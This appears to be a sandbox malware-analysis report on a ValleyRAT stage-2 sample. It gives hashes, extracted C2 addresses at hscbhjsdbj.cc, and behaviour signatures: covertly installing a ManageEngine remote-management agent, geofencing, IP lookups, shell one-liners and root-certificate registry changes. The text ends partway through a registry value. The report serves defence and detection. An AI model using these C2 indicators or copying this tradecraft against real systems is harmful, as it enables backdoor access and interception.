Analysis
- max time kernel
201s - max time network
301s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
17/10/2026, 03:16
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
ContactActivation.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
300 seconds
Behavioral task
behavioral2
Sample
CrcLiEnt.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
36 signatures
300 seconds
Behavioral task
behavioral3
Sample
CrcLiEnt.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
35 signatures
300 seconds
Behavioral task
behavioral4
Sample
M20261015258.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
36 signatures
300 seconds
Behavioral task
behavioral5
Sample
M20261015258.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
34 signatures
300 seconds
Behavioral task
behavioral6
Sample
eapprovp.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
300 seconds
General
- Target M20261015258.exe
- Size 1.1MB
- Sample261017-dsppgach53
- SHA256 81cf4d59df869abfe5034d160090d88bc9c573e8c5daf284fd29417d48411d5b
- MD5 8cf96be406d5b55912e4d79c2a533568
- SHA1 6f6a4f2802e72ce4b0eaad1094bb53a585bdf5d2
- SHA512 83175422ed11d694d31f23b71daf2992c1794be2250023a580490464e57bf3c8731a407d3a50bfb681f5c22fa76de2d82a88b9d1b3c4c591603dd7fc0e53ba3d
- SSDEEP 24576:+8q1L8bEuXsj6ME5pvOIogH5zpPNTKGKmmUYUsK2:FIL8bdXS6MSpvOIokpVTCUYU+
- TLSH T1FA356C0793E902ADE0B7E13C89678906E2767C5A07709ACF13A0795A2F737E19F79311
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
valleyrat_s2
C2
-
hscbhjsdbj.cc:6125
-
hscbhjsdbj.cc:5216
Signatures
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Detects ValleyRAT payload 5 IoCs
resource yara_rule behavioral4/memory/1156-75-0x0000023D35DB0000-0x0000023D35E20000-memory.dmp family_valleyrat_stage_2_v2 behavioral4/memory/1156-76-0x0000023D35DB0000-0x0000023D35E20000-memory.dmp family_valleyrat_stage_2_v2 behavioral4/memory/1156-78-0x0000023D35DB0000-0x0000023D35E20000-memory.dmp family_valleyrat_stage_2_v2 behavioral4/memory/1156-79-0x0000023D35DB0000-0x0000023D35E20000-memory.dmp family_valleyrat_stage_2_v2 behavioral4/memory/1156-80-0x0000023D35DB0000-0x0000023D35E20000-memory.dmp family_valleyrat_stage_2_v2 - DCAgent remote management tool 4 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral4/files/0x00070000000242f7-133.dat hacktool_dcagent behavioral4/files/0x0007000000024327-361.dat hacktool_dcagent behavioral4/files/0x0008000000024317-913.dat hacktool_dcagent behavioral4/files/0x0008000000024691-7104.dat hacktool_dcagent - Modifies file permissions 1 TTPs 5 IoCs
pid Process 3048 icacls.exe 2440 icacls.exe 1240 icacls.exe 3540 icacls.exe 1856 icacls.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 45 3964 msiexec.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 40 3840 curl.exe - Enumerates connected drives 3 TTPs 45 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: vmware-vmx.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: vmware-vmx.exe File opened (read-only) \??\E: vmware-vmx.exe File opened (read-only) \??\X: vmware-vmx.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: vmware-vmx.exe File opened (read-only) \??\J: vmware-vmx.exe File opened (read-only) \??\K: vmware-vmx.exe File opened (read-only) \??\P: vmware-vmx.exe File opened (read-only) \??\T: vmware-vmx.exe File opened (read-only) \??\G: vmware-vmx.exe File opened (read-only) \??\L: vmware-vmx.exe File opened (read-only) \??\W: vmware-vmx.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\M: vmware-vmx.exe File opened (read-only) \??\Z: vmware-vmx.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\O: vmware-vmx.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: vmware-vmx.exe File opened (read-only) \??\Q: vmware-vmx.exe File opened (read-only) \??\R: vmware-vmx.exe File opened (read-only) \??\S: vmware-vmx.exe File opened (read-only) \??\V: vmware-vmx.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: vmware-vmx.exe File opened (read-only) \??\U: vmware-vmx.exe - Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 api.ipify.org 19 api.ipify.org 23 ip-api.com - Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation M20261015258.exe Key value queried \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Key value queried \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation dcmetroapps.exe - Drops file in System32 directory 6 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe File created C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_adeb6424513f60a2\input.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF dcinventory.exe File created C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_254cd5ae09de6b08\usbport.PNF dcinventory.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 1728 WScript.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\core_util.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcaddonsevaluator.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Internet_Connection.log DCProcessMonitor.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchscan_vmdrUtils.log dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcaddonsevaluator.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCFAUser.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\TroubleshootingTool.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentserviceaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\icon_software.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemsnotifications.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json dcondemand.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ServerDetectionChecks.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaprovisioningaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\running-exe-checks.json.gz dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\installationSource.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\me_hive_backup.reg dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\log-upload-settings.json dcuploadlogs.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hs_runtime.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcparseengine.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\InvNotifylogger.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\python-component-details.json cmd.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaphelper.log meaaphelper.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Globe.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientSocket.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\file_system_watcher.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchutils.json.gz dcpatchscan.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctoolshardware.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSGpo.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UemsScheduledScriptAccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcprereqhandler.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwol.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdiffscan.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcAgentlogupload.log dcuploadlogs.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz4080.tmp dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchdeploymenterror.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz4032.tmp dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-scan-data\npm-component-details.json cmd.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMS_Agent_TSToolUtil.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4536.tmp dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\TroubleshootingTool.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Restart.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_el_GR.properties 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_it_IT.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources_ro_RO.properties 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Refresh.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Archive_success.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\usbeDevicelist.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\hostondemandaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentupgrade.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\arrow_pull_left.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\wsClientSocket.dll 7za.exe - Drops file in Windows directory 25 IoCs
description ioc Process File created C:\Windows\Installer\e59c9cf.mst msiexec.exe File opened for modification C:\Windows\Installer\e59c9cf.mst msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\INF\c_processor.PNF dcinventory.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSICDD5.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSID72D.tmp msiexec.exe File created C:\Windows\Installer\e59c9d7.msi msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\MSI36B3.tmp msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\INF\c_media.PNF dcinventory.exe File created C:\Windows\INF\c_diskdrive.PNF dcinventory.exe File created C:\Windows\INF\c_display.PNF dcinventory.exe File created C:\Windows\Installer\e59c9ce.msi msiexec.exe File opened for modification C:\Windows\Installer\e59c9ce.msi msiexec.exe File created C:\Windows\INF\c_monitor.PNF dcinventory.exe File created C:\Windows\INF\c_volume.PNF dcinventory.exe - Executes dropped EXE 64 IoCs
pid Process 1156 vmware-vmx.exe 4416 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 4360 dcagentregister.exe 3600 7za.exe 1556 7za.exe 2760 dcagentservice.exe 4264 7za.exe 3352 dcstatusutil.exe 1712 dcagentservice.exe 4784 dcinventory.exe 4440 CRU_Reporter.exe 1496 dcusbsummary.exe 880 dcconfig.exe 860 dcusb64.exe 3700 dcstatusutil.exe 3296 dcondemand.exe 3812 dcswmeter.exe 2312 dcinventory.exe 4840 dcagentregister.exe 860 dcconfig.exe 1296 dcconfig.exe 3996 dcpatchscan.exe 4808 dcmetroapps.exe 5032 UEMSAgentHealthChecker.exe 1760 7za.exe 3512 UEMSAgentHCHelper.exe 1888 UEMSAgentHCHelper.exe 3184 UEMSAgentHCHelper.exe 5000 7za.exe 4952 7za.exe 3352 7za.exe 3556 7za.exe 4460 7za.exe 4280 dcinventory.exe 4488 7za.exe 2864 7za.exe 1124 7za.exe 2476 7za.exe 1836 7za.exe 4536 7za.exe 4808 DCProcessMonitor.exe 4724 7za.exe 1244 dcuploadlogs.exe 1752 7za.exe 3584 7za.exe 2484 7za.exe 1836 7za.exe 376 7za.exe 4724 7za.exe 2168 7za.exe 3788 7za.exe 1244 7za.exe 1988 7za.exe 3792 7za.exe 2872 7za.exe 888 7za.exe 1400 7za.exe 2092 7za.exe 4744 7za.exe 1856 7za.exe 2008 7za.exe 3436 7za.exe 1036 7za.exe 2760 7za.exe - Loads dropped DLL 64 IoCs
pid Process 1156 vmware-vmx.exe 4200 rundll32.exe 2880 MsiExec.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 4360 dcagentregister.exe 2760 dcagentservice.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 3352 dcstatusutil.exe 1712 dcagentservice.exe 4784 dcinventory.exe 1496 dcusbsummary.exe 4784 dcinventory.exe 4784 dcinventory.exe 880 dcconfig.exe 4784 dcinventory.exe 3700 dcstatusutil.exe 880 dcconfig.exe 3296 dcondemand.exe 3812 dcswmeter.exe 2312 dcinventory.exe 3700 dcstatusutil.exe 3296 dcondemand.exe 3700 dcstatusutil.exe 3700 dcstatusutil.exe 3296 dcondemand.exe 3700 dcstatusutil.exe 3700 dcstatusutil.exe 3296 dcondemand.exe 4840 dcagentregister.exe 4840 dcagentregister.exe 2312 dcinventory.exe 2312 dcinventory.exe - Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
resource yara_rule behavioral4/files/0x0007000000024602-6039.dat embeds_openssl - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 18 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5020 cmd.exe 5080 cmd.exe 4756 cmd.exe 3228 cmd.exe 1852 cmd.exe 2812 cmd.exe 1372 cmd.exe 4376 cmd.exe 4544 cmd.exe 1664 cmd.exe 888 cmd.exe 3104 cmd.exe 1000 cmd.exe 4436 cmd.exe 4960 cmd.exe 5064 cmd.exe 4848 cmd.exe 2820 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 34 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob = 5900000001000000120000005200530041002f0053004800410031000000040000000100000010000000e1c07ea0aabbd4b77b84c228117808a71400000001000000140000000eac826040562797e52513fc2ae10a539559e4a469000000010000000e000000300c060a2b0601040182373c03020b000000010000004a0000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000030000000100000014000000cdd4eeae6000ac7f40c3802c171e30148030c0720f0000000100000014000000391be92883d52509155bfeae27b9bd340170b76b190000000100000010000000983b132635b7e91deef54a6780c092695c00000001000000040000000010000020000000010000009d0500003082059930820381a003020102021079ad16a14aa0a5ad4c7358f407132e65300d06092a864886f70d0101050500305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479301e170d3031303530393233313932325a170d3231303530393233323831335a305f31133011060a0992268993f22c6401191603636f6d31193017060a0992268993f22c64011916096d6963726f736f6674312d302b060355040313244d6963726f736f667420526f6f7420436572746966696361746520417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a0282020100f35dfa8067d45aa7a90c2c9020d035083c7584cdb707899c89dadecec360fa91685a9e94712918767cc2e0c82576940e58fa043436e6dfaff780bae9580b2b93e59d05e3772291f734643c22911d5ee10990bc14fefc755819e179b70792a3ae885908d89f07ca0358fc68296d32d7d2a8cb4bfce10b48324fe6ebb8ad4fe45c6f139499db95d575dba81ab79491b4775bf5480c8f6a797d1470047d6daf90f5da70d847b7bf9b2f6ce705b7e11160ac7991147cc5d6a6e4e17ed5c37ee592d23c00b53682de79e16df3b56ef89f33c9cb527d739836db8ba16ba295979ba3dec24d26ff0696672506c8e7ace4ee1233953199c835084e34ca7953d5b5be6332594036c0a54e044d3ddb5b0733e458bfef3f5364d842593557fd0f457c24044d9ed6387411972290ce684474926fd54b6fb086e3c73642a0d0fcc1c05af9a361b9304771960a16b091c04295ef107f286ae32a1fb1e4cd033f777104c720fc490f1d4588a4d7cb7e88ad8e2dec45dbc45104c92afcec869e9a11975bdece5388e6e2b7fdac95c22840dbef0490df813339d9b245a5238706a5558931bb062d600e41187d1f2eb597cb11eb15d524a594ef151489fd4b73fa325bfcd13300f95962700732ea2eab402d7bcadd21671b30998f16aa23a841d1b06e119b36c4de40749ce15865c1601e7a5b38c88fbb04267cd41640e5b66b6caa86fd00bfcec1350203010001a351304f300b0603551d0f0404030201c6300f0603551d130101ff040530030101ff301d0603551d0e041604140eac826040562797e52513fc2ae10a539559e4a4301006092b06010401823715010403020100300d06092a864886f70d01010505000382020100c5114d033a60dd5d5211778fb2bb36c8b205bfb4b7a8d8209d5c1303b61c22fa061335b6c863d49a476f2657d255f104b1265fd6a95068a0bcd2b86eccc3e9acdf19cd78ac5974ac663436c41b3e6c384c330e30120da326fe515300ffaf5a4e840d0f1fe46d052e4e854b8d6c336f54d264abbf50af7d7a39a037ed63030ffc1306ce1636d4543b951b51623ae54d17d40539929a27a85baabdecbbbee3208960716c56b3a513d06d0e237e9503ed683df2d863b86b4db6e830b5e1ca944bf7a2aa5d9930b23da7c2516c28200124272b4b00b79d116b70beb21082bc0c9b68d08d3b2487aa9928729d335f5990bdf5de939e3a625a3439e288551db906b0c1896b2dd769c319123684d0c9a0daff2f6978b2e57adaebd70cc0f7bd6317b8391338a2365b7bf285566a1d6462c138e2aabf5166a294f5129c6622106bf2b730922df229f03d3b144368a2f19c2937cbce3820256d7c67f37e24122403088147eca59e97f518d7cfbbd5ef7696effdcedb569d95a042f99758e1d73122d35f59e63e6e2200ea4384b625dbd9f3085668c0646b1d7cecb693a262576e2ed8e7588fc4314926ddde293587f53071705b143c69bd89127deb2ea3fed87f9e825a520a2bc1432bd930889fc810fb898de6a18575337e6c9edb7313646269a52f7dca966d9ff8044d30923d6e211421c93de0c3fd8a6b9d4afdd1a19d9943773fb0da dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000db40a511c228438a4ea22d289a27bc671400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b51900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc5c0000000100000004000000000800002000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 